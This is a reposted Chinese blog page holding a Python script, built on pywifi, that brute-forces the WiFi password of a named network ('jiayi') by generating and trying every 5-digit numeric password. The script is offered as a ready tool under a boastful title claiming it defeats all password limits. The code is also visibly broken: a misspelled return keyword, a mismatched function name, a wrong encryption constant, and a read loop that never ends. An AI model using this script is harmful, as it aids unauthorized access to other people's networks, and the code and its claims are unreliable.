wifi密碼暴力破解


轉自:Python最新暴力破解WiFi,攻破所有密碼限制,最強破解!

import time
import pywifi
import itertools as its
from pywifi import const

def wificonnect(pwd):
    #抓取網卡接口
    wifi = pywifi.PyWiFi()
    #獲取第一個無線網卡
    ifaces = wifi.interfaces()[0]
    #斷開所有連接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        #創建wifi連接文件
        profile = pywifi.Profile()
        #要連接wifi的名稱
        profile.ssid = 'jiayi'
        #網卡的開放狀態
        profile.auth = const.AUTH_ALG_OPEN
        #wifi加密算法,一般為WPA2 PSK
        profile.akm.append(const.CIPHER_TYPE_CCMP)
        #調用密碼
        profile.key = pwd
        #刪除所有連接過的wifi文件
        ifaces.remove_all_network_profiles()
        #設定新的連接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi連接時間
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            retuen True
        else:
            return False
    else:
        print('已有wifi連接')
        
def readPassword(path):
    print('開始破解:')
    #密碼本路徑
    file = open(path, 'r')
    while True:
        try:
            pad = file.readline()
            conn = wifiConnect(pad)
            if conn:
                print('', pad)
                print()
                break
            else:
                #跳出當前循環,進行下次循環
                print('密碼破解中...密碼校對:',pad)
        except:
            continue
    file.close()

words = '1234567890'
path = './password.txt'
#生成密碼本位數
r = its.product(words, repeat=5)
fp = open(path, 'a')
for i in r:
    fp.write(''.join(i)+'\n')
fp.close()
readPassword(path)

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM